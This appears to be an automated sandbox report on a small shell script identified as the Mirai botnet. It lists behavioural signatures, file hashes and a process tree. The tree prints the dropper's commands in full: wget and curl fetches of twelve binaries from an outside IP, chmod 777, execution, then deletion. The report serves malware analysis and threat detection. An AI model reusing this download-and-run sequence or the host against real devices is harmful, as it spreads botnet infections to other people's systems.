Analysis

  • max time kernel
    141s
  • max time network
    142s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    16/06/2026, 15:59

General

  • Target
    ok.sh
  • Size 1KB
  • Sample260616-tfayjsf14w
  • SHA256 4ed61165beb338d3c8dbb0f71b328ac71d382ac3dad6a1145aaf16bfeb894010
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Family: Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • File and Directory Permissions Modification 1 TTPs 12 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 12 IoCs
  • Modifies Watchdog functionality 1 TTPs 4 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Changes its process name 4 IoCs
  • Checks CPU configuration 1 TTPs 12 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 44 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 24 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ok.sh
    /tmp/ok.sh
    1⤵
    • Executes dropped EXE
    PID:647
    • /usr/bin/wget
      wget http://5.182.210.61/aba2dd
      2⤵
      • Writes file to tmp directory
      PID:653
    • /usr/bin/curl
      curl -O http://5.182.210.61/aba2dd
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:669
    • /bin/chmod
      chmod 777 aba2dd
      2⤵
      • File and Directory Permissions Modification
      PID:675
    • /tmp/aba2dd
      ./aba2dd discord
      2⤵
        PID:676
      • /bin/rm
        rm -rf aba2dd
        2⤵
          PID:678
        • /bin/rm
          rm -rf aba2dd.1
          2⤵
            PID:679
          • /usr/bin/wget
            wget http://5.182.210.61/b30ea3
            2⤵
            • Writes file to tmp directory
            PID:680
          • /usr/bin/curl
            curl -O http://5.182.210.61/b30ea3
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:681
          • /bin/chmod
            chmod 777 b30ea3
            2⤵
            • File and Directory Permissions Modification
            PID:682
          • /tmp/b30ea3
            ./b30ea3 discord
            2⤵
              PID:683
            • /bin/rm
              rm -rf b30ea3
              2⤵
                PID:684
              • /bin/rm
                rm -rf b30ea3.1
                2⤵
                  PID:685
                • /usr/bin/wget
                  wget http://5.182.210.61/2fb9dc
                  2⤵
                  • Writes file to tmp directory
                  PID:686
                • /usr/bin/curl
                  curl -O http://5.182.210.61/2fb9dc
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:687
                • /bin/chmod
                  chmod 777 2fb9dc
                  2⤵
                  • File and Directory Permissions Modification
                  PID:688
                • /tmp/2fb9dc
                  ./2fb9dc discord
                  2⤵
                    PID:689
                  • /bin/rm
                    rm -rf 2fb9dc
                    2⤵
                      PID:691
                    • /bin/rm
                      rm -rf 2fb9dc.1
                      2⤵
                        PID:692
                      • /usr/bin/wget
                        wget http://5.182.210.61/a802ee
                        2⤵
                        • Writes file to tmp directory
                        PID:693
                      • /usr/bin/curl
                        curl -O http://5.182.210.61/a802ee
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        • Writes file to tmp directory
                        PID:696
                      • /bin/chmod
                        chmod 777 a802ee
                        2⤵
                        • File and Directory Permissions Modification
                        PID:785
                      • /tmp/a802ee
                        ./a802ee discord
                        2⤵
                          PID:786
                        • /bin/rm
                          rm -rf a802ee
                          2⤵
                            PID:788
                          • /bin/rm
                            rm -rf a802ee.1
                            2⤵
                              PID:789
                            • /usr/bin/wget
                              wget http://5.182.210.61/d0e001
                              2⤵
                              • Writes file to tmp directory
                              PID:790
                            • /usr/bin/curl
                              curl -O http://5.182.210.61/d0e001
                              2⤵
                              • Checks CPU configuration
                              • Reads runtime system information
                              • Writes file to tmp directory
                              PID:791
                            • /bin/chmod
                              chmod 777 d0e001
                              2⤵
                              • File and Directory Permissions Modification
                              PID:792
                            • /tmp/d0e001
                              ./d0e001 discord
                              2⤵
                                PID:793
                              • /bin/rm
                                rm -rf d0e001
                                2⤵
                                  PID:795
                                • /bin/rm
                                  rm -rf d0e001.1
                                  2⤵
                                    PID:796
                                  • /usr/bin/wget
                                    wget http://5.182.210.61/5f0ed5
                                    2⤵
                                    • Writes file to tmp directory
                                    PID:797
                                  • /usr/bin/curl
                                    curl -O http://5.182.210.61/5f0ed5
                                    2⤵
                                    • Checks CPU configuration
                                    • Reads runtime system information
                                    • Writes file to tmp directory
                                    PID:798
                                  • /bin/chmod
                                    chmod 777 5f0ed5
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:799
                                  • /tmp/5f0ed5
                                    ./5f0ed5 discord
                                    2⤵
                                      PID:800
                                    • /bin/rm
                                      rm -rf 5f0ed5
                                      2⤵
                                        PID:802
                                      • /bin/rm
                                        rm -rf 5f0ed5.1
                                        2⤵
                                          PID:803
                                        • /usr/bin/wget
                                          wget http://5.182.210.61/eac594
                                          2⤵
                                          • Writes file to tmp directory
                                          PID:804
                                        • /usr/bin/curl
                                          curl -O http://5.182.210.61/eac594
                                          2⤵
                                          • Checks CPU configuration
                                          • Reads runtime system information
                                          • Writes file to tmp directory
                                          PID:805
                                        • /bin/chmod
                                          chmod 777 eac594
                                          2⤵
                                          • File and Directory Permissions Modification
                                          PID:806
                                        • /tmp/eac594
                                          ./eac594 discord
                                          2⤵
                                          • Modifies Watchdog functionality
                                          • Enumerates active TCP sockets
                                          • Changes its process name
                                          • Reads system network configuration
                                          • Reads runtime system information
                                          PID:807
                                        • /bin/rm
                                          rm -rf eac594
                                          2⤵
                                            PID:809
                                          • /bin/rm
                                            rm -rf eac594.1
                                            2⤵
                                              PID:812
                                            • /usr/bin/wget
                                              wget http://5.182.210.61/8636e6
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:813
                                            • /usr/bin/curl
                                              curl -O http://5.182.210.61/8636e6
                                              2⤵
                                              • Checks CPU configuration
                                              • Reads runtime system information
                                              • Writes file to tmp directory
                                              PID:814
                                            • /bin/chmod
                                              chmod 777 8636e6
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:815
                                            • /tmp/8636e6
                                              ./8636e6 discord
                                              2⤵
                                                PID:816
                                              • /bin/rm
                                                rm -rf 8636e6
                                                2⤵
                                                  PID:818
                                                • /bin/rm
                                                  rm -rf 8636e6.1
                                                  2⤵
                                                    PID:819
                                                  • /usr/bin/wget
                                                    wget http://5.182.210.61/ac03c5
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:820
                                                  • /usr/bin/curl
                                                    curl -O http://5.182.210.61/ac03c5
                                                    2⤵
                                                    • Checks CPU configuration
                                                    • Reads runtime system information
                                                    • Writes file to tmp directory
                                                    PID:821
                                                  • /bin/chmod
                                                    chmod 777 ac03c5
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:822
                                                  • /tmp/ac03c5
                                                    ./ac03c5 discord
                                                    2⤵
                                                      PID:823
                                                    • /bin/rm
                                                      rm -rf ac03c5
                                                      2⤵
                                                        PID:824
                                                      • /bin/rm
                                                        rm -rf ac03c5.1
                                                        2⤵
                                                          PID:825
                                                        • /usr/bin/wget
                                                          wget http://5.182.210.61/44a752
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:826
                                                        • /usr/bin/curl
                                                          curl -O http://5.182.210.61/44a752
                                                          2⤵
                                                          • Checks CPU configuration
                                                          • Reads runtime system information
                                                          • Writes file to tmp directory
                                                          PID:827
                                                        • /bin/chmod
                                                          chmod 777 44a752
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:828
                                                        • /tmp/44a752
                                                          ./44a752 discord
                                                          2⤵
                                                          • Modifies Watchdog functionality
                                                          • Enumerates active TCP sockets
                                                          • Changes its process name
                                                          • Reads system network configuration
                                                          • Reads runtime system information
                                                          PID:829
                                                        • /bin/rm
                                                          rm -rf 44a752
                                                          2⤵
                                                            PID:831
                                                          • /bin/rm
                                                            rm -rf 44a752.1
                                                            2⤵
                                                              PID:834
                                                            • /usr/bin/wget
                                                              wget http://5.182.210.61/ca382f
                                                              2⤵
                                                              • Writes file to tmp directory
                                                              PID:835
                                                            • /usr/bin/curl
                                                              curl -O http://5.182.210.61/ca382f
                                                              2⤵
                                                              • Checks CPU configuration
                                                              • Reads runtime system information
                                                              • Writes file to tmp directory
                                                              PID:836
                                                            • /bin/chmod
                                                              chmod 777 ca382f
                                                              2⤵
                                                              • File and Directory Permissions Modification
                                                              PID:837
                                                            • /tmp/ca382f
                                                              ./ca382f discord
                                                              2⤵
                                                                PID:838
                                                              • /bin/rm
                                                                rm -rf ca382f
                                                                2⤵
                                                                  PID:840
                                                                • /bin/rm
                                                                  rm -rf ca382f.1
                                                                  2⤵
                                                                    PID:841
                                                                  • /usr/bin/wget
                                                                    wget http://5.182.210.61/cb2c1f
                                                                    2⤵
                                                                    • Writes file to tmp directory
                                                                    PID:842
                                                                  • /usr/bin/curl
                                                                    curl -O http://5.182.210.61/cb2c1f
                                                                    2⤵
                                                                    • Checks CPU configuration
                                                                    • Reads runtime system information
                                                                    • Writes file to tmp directory
                                                                    PID:843
                                                                  • /bin/chmod
                                                                    chmod 777 cb2c1f
                                                                    2⤵
                                                                    • File and Directory Permissions Modification
                                                                    PID:844
                                                                  • /tmp/cb2c1f
                                                                    ./cb2c1f discord
                                                                    2⤵
                                                                      PID:845
                                                                    • /bin/rm
                                                                      rm -rf cb2c1f
                                                                      2⤵
                                                                        PID:847
                                                                      • /bin/rm
                                                                        rm -rf cb2c1f.1
                                                                        2⤵
                                                                          PID:848

                                                                      Network

                                                                            MITRE ATT&CK Enterprise v16

                                                                            Replay Monitor

                                                                            Loading Replay Monitor...

                                                                            Downloads

                                                                            2fb9dc

                                                                            • Path /tmp/2fb9dc
                                                                            • Size 46KB
                                                                            • SHA256 43b5ab7423408f298026435733151fbc031c8f00ad9e6e6b43f3987cace89620
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            44a752

                                                                            • Path /tmp/44a752
                                                                            • Size 113KB
                                                                            • SHA256 0310eed14d111822310e3a77c855988a2f999a9e2f5c7789d6ff378417e5ef17
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            5f0ed5

                                                                            • Path /tmp/5f0ed5
                                                                            • Size 41KB
                                                                            • SHA256 ab9595e8292ee3c3df40a28815641b73273a2914f83dc8b5d43e70481f2c414c
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            8636e6

                                                                            • Path /tmp/8636e6
                                                                            • Size 57KB
                                                                            • SHA256 95bae1bc1eb147ed4b0bbfef6641ac62e6a0aa583ab7398067e1d54a78d9c3a6
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            a802ee

                                                                            • Path /tmp/a802ee
                                                                            • Size 38KB
                                                                            • SHA256 c8f99502782a92da92143a2d77d5f90f5167a1ab3cd59ebe4fe4815e40a49aa6
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            aba2dd

                                                                            • Path /tmp/aba2dd
                                                                            • Size 42KB
                                                                            • SHA256 e217a281270dc8762820e5edc7dea14d7cd271c2d2e059719ae917761c7956a8
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            ac03c5

                                                                            • Path /tmp/ac03c5
                                                                            • Size 53KB
                                                                            • SHA256 6f32da872345812dbe8756b23f7c99c73acfc541a04bf4f7d1cc80ef5d888e83
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            b30ea3

                                                                            • Path /tmp/b30ea3
                                                                            • Size 36KB
                                                                            • SHA256 1637e7ba1a81d9d1e6dd228d601c62f2a28daf03f2534cb09038da6185d3e789
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            ca382f

                                                                            • Path /tmp/ca382f
                                                                            • Size 57KB
                                                                            • SHA256 487a1d887710fd9eeb08359a909cd930d04719a637538edfc227602812b1ffd8
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            cb2c1f

                                                                            • Path /tmp/cb2c1f
                                                                            • Size 43KB
                                                                            • SHA256 df5bdee1b0bdc5ddd8c83b7cd9fd2a59fbc6032f204162fdbd9ec6ab9c79a90b
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            d0e001

                                                                            • Path /tmp/d0e001
                                                                            • Size 38KB
                                                                            • SHA256 6691d368dd2efa53408a5ee23b01d9bf1c74a51c6899ca59a91448dfc74c4422
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH

                                                                            eac594

                                                                            • Path /tmp/eac594
                                                                            • Size 44KB
                                                                            • SHA256 0286a2b15bca44bb27a6a4da44c46f31ad96ff307d9fe68d92e4b22aec8345b3
                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH